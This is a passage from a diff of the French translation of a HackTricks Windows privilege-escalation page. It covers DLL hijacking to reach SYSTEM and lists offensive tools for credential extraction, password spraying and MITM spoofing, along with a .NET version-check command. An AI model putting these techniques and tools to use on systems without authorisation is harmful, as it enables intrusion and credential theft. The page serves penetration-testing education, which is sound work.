ceci**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Si vous parvenez à **hijacker une dll** qui est **chargée** par un **processus** s'exécutant en **SYSTEM**, vous pourrez exécuter du code arbitraire avec ces permissions. Par conséquent, Dll Hijacking est également utile pour ce type d'escalade de privilèges et, de plus, il est beaucoup **plus facile à réaliser depuis un processus high integrity** car il disposera des **permissions d'écriture** sur les dossiers utilisés pour charger les dll.\ +Si vous parvenez à **hijacker une dll** chargée par un **process** s'exécutant en **SYSTEM**, vous pourrez exécuter du code arbitraire avec ces permissions. Par conséquent Dll Hijacking est également utile pour ce type d'escalade de privilèges, et, de plus, il est bien **plus facile à réaliser depuis un processus high integrity** car il disposera des **permissions d'écriture** sur les dossiers utilisés pour charger les dlls.\ **Vous pouvez** [**en apprendre plus sur Dll hijacking ici**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1573,42 +1604,42 @@ Si vous parvenez à **hijacker une dll** qui est **chargée** par un **processus ### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Lire :** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## Plus d'aide +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Outils utiles +## Useful tools -**Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Windows :** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ [**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Vérifie les misconfigurations et les fichiers sensibles (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Détecté.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Vérifie certaines misconfigurations possibles et collecte des informations (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Vérifie certaines misconfigurations possibles et collecte des infos (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- Vérifie les misconfigurations**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrait les sessions sauvegardées de PuTTY, WinSCP, SuperPuTTY, FileZilla et RDP. Utiliser -Thorough en local.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrait les credentials du Credential Manager. Détecté.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spraye les mots de passe collectés sur le domaine**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrait les informations de sessions sauvegardées de PuTTY, WinSCP, SuperPuTTY, FileZilla et RDP. Utiliser -Thorough en local.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrait les identifiants du Credential Manager. Détecté.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray les mots de passe collectés à travers le domaine**\ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh est un spoofer ADIDNS/LLMNR/mDNS/NBNS et un outil man-in-the-middle en PowerShell.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Énumération Windows de base pour privesc**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Recherche des vulnérabilités connues pour privesc (DÉPRÉCATÉ pour Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Vérifications locales **(Nécessite les droits Admin)** +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Énumération basique Windows pour privesc**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Recherche des vulnérabilités privesc connues (DÉPRÉCIÉ en faveur de Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Vérifications locales **(Nécessite droits Admin)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Recherche des vulnérabilités connues pour privesc (doit être compilé avec VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Énumère l'hôte à la recherche de misconfigurations (plus un outil de collecte d'infos que de privesc) (doit être compilé) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrait des identifiants de nombreux logiciels (exe précompilé sur github)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Recherche des vulnérabilités privesc connues (doit être compilé avec VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Énumère l'hôte à la recherche de misconfigurations (plutôt un outil de collecte d'infos que de privesc) (doit être compilé) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrait les identifiants de nombreux logiciels (exe précompilé sur github)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port de PowerUp en C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Vérifie les misconfigurations (exécutable précompilé sur github). Non recommandé. Il ne fonctionne pas bien sur Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Vérifie les misconfigurations possibles (exe à partir de python). Non recommandé. Il ne fonctionne pas bien sur Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Vérifie les misconfigurations (exécutable précompilé sur github). Non recommandé. Ne fonctionne pas bien sous Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Vérifie les possibles misconfigurations (exe depuis python). Non recommandé. Ne fonctionne pas bien sous Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Outil créé basé sur ce post (il n'a pas besoin d'accesschk pour fonctionner correctement mais peut l'utiliser). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Outil créé d'après ce post (n'a pas besoin d'accesschk pour fonctionner correctement mais peut l'utiliser). **Local** @@ -1619,7 +1650,7 @@ Si vous parvenez à **hijacker une dll** qui est **chargée** par un **processus _multi/recon/local_exploit_suggestor_ -Vous devez compiler le projet en utilisant la bonne version de .NET ([voir ceci](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Pour voir la version de .NET installée sur la machine victime, vous pouvez faire : +Vous devez compiler le projet en utilisant la version correcte de .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Pour voir la version de .NET installée sur la machine victime, vous pouvez faire : ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` @@ -1640,6 +1671,8 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections) -- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [HTB Reaper : Format-string leak + stack BOF → VirtualAlloc ROP (RCE) et kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) + +- [Check Point Research – À la poursuite du Silver Fox : Chat et souris dans les ombres du kernel](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) {{#include ../../banners/hacktricks-training.md}}